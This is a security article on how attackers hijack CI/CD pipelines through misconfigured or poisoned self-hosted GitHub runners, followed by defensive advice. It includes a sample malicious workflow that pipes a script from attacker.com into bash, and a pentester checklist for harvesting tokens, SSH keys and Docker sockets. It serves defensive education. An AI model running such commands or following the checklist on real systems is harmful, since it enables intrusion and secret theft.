How Poisoned GitHub Runner Images Can Compromise Your Entire CI/CD Pipeline

TLDR: Attackers can gain full control over CI/CD pipelines by exploiting misconfigurations in self-hosted GitHub runners. By poisoning the base images used by these runners, researchers demonstrated that an attacker can execute arbitrary code within the runner environment. This allows for the theft of secrets, source code, and the potential to push malicious commits to production.

Modern CI/CD pipelines are the crown jewels of any development organization. They hold the keys to production, the secrets for cloud infrastructure, and the source code that defines the business. While most security teams focus on hardening the application code itself, the infrastructure that builds and deploys that code often remains a blind spot. A recent deep dive into the security of self-hosted GitHub runners reveals exactly how fragile this trust can be when the underlying runner environment is not properly isolated.

The Mechanics of the Runner Poisoning Attack

Self-hosted runners are a popular choice for teams that need more control over their build environment, require access to private network resources, or want to avoid the limitations of GitHub-hosted runners. However, this convenience comes with a significant security trade-off. When you host your own runners, you are responsible for the security of the runner image, the host machine, and the network configuration.

The research highlighted in the talk by Adnan Khan and John Stawinski at Black Hat USA 2024 demonstrates that if an attacker can influence the configuration or the base image of these runners, they can effectively hijack the entire pipeline. The attack flow is straightforward but devastating. By identifying a misconfiguration in how the runner is provisioned or by finding a way to inject code into the runner's environment, an attacker can gain execution privileges.

Once the attacker has code execution on the runner, they are not just limited to the scope of a single job. Because self-hosted runners often have persistent access to the environment, an attacker can move laterally, scrape environment variables containing sensitive API keys, or even modify the runner's own software to maintain persistence across future jobs. This is a classic example of a Supply Chain Compromise (T1195) where the build infrastructure itself becomes the vector for the attack.

Technical Deep Dive: Why Self-Hosted Runners Are High-Value Targets

The core issue is that self-hosted runners are often treated as trusted entities within the internal network. If a runner is configured to pull jobs from a public repository or a repository with loose access controls, an attacker can submit a pull request containing a malicious workflow file. If the runner is not properly sandboxed, that workflow will execute on the runner host.

Consider a standard GitHub Actions workflow file:

jobs:
  build:
    runs-on: self-hosted
    steps:
      - name: Run malicious script
        run: |
          curl -s http://attacker.com/payload.sh | bash

If this workflow runs on a self-hosted runner, the payload.sh script executes with the permissions of the runner service account. If that account has access to the host's filesystem or the ability to reach internal metadata services, the game is over. The researchers showed that by poisoning the runner image, they could ensure that every job executed on that runner would be compromised, regardless of the repository it was pulling from.

This is particularly dangerous because of OWASP A06:2021 – Vulnerable and Outdated Components. If your runner image is based on an outdated OS or contains vulnerable packages, an attacker can use those vulnerabilities to break out of the runner process and gain full control over the host machine.

Real-World Applicability for Pentesters

During a penetration test or a red team engagement, your goal should be to identify where the CI/CD pipeline is exposed. Look for self-hosted runners that are accessible from the public internet or that are configured to run jobs from untrusted forks. If you find a self-hosted runner, your objective is to see if you can trigger a job that executes your code.

Once you have code execution, don't just stop at whoami. Look for:

• Environment Variables: These often contain secrets like GITHUB_TOKEN, cloud provider credentials, or database connection strings.
• SSH Keys: Check the ~/.ssh directory for keys that might allow access to other internal servers.
• Docker Sockets: If the runner is running in a container, check if /var/run/docker.sock is mounted. If it is, you can often escape the container and compromise the host.

Defensive Strategies

Defending against this requires a shift in how we view build infrastructure. First, never use self-hosted runners for untrusted code. If you must use them, ensure they are ephemeral. Use tools like actions-runner-controller to spin up a fresh container for every single job. This ensures that even if an attacker compromises a runner, they cannot maintain persistence.

Second, implement strict network segmentation. The runner should only be able to communicate with the necessary GitHub endpoints and nothing else. If the runner doesn't need to talk to your production database, don't let it. Finally, treat your runner images like production code. Use automated tools like Semgrep to scan your infrastructure-as-code configurations for common misconfigurations that could lead to runner compromise.

The reality is that your CI/CD pipeline is only as secure as the weakest runner in your fleet. By treating these runners as untrusted, ephemeral resources, you can significantly reduce the blast radius of a potential compromise. Don't wait for a supply chain attack to force your hand. Audit your runner configurations today and ensure that you are not leaving the door wide open for an attacker to walk right into your production environment.